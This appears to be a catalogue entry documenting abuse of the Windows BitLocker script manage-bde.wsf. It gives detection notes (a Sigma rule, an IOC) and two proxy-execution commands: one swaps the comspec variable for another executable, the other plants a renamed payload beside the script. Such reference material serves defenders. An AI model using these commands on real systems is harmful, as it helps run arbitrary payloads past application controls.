



/Manage-bde.wsf Star

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Script for managing BitLocker

Paths:

C:\Windows\System32\manage-bde.wsf

Resources:

- <https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712>
- <https://twitter.com/bohops/status/980659399495741441>
- <https://twitter.com/JohnLaTwC/status/1223292479270600706>

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Detections:

- Sigma: [proc_creation_win_lolbin_manage_bde.yml](#)
- IOC: Manage-bde.wsf should not be invoked by a standard user under normal situations

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1. Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.

```
set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf
```

Use case: Proxy execution from script
Privileges required: User
Operating systems: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: [T1216: System Script Proxy Execution](#)

2. Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.

```
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
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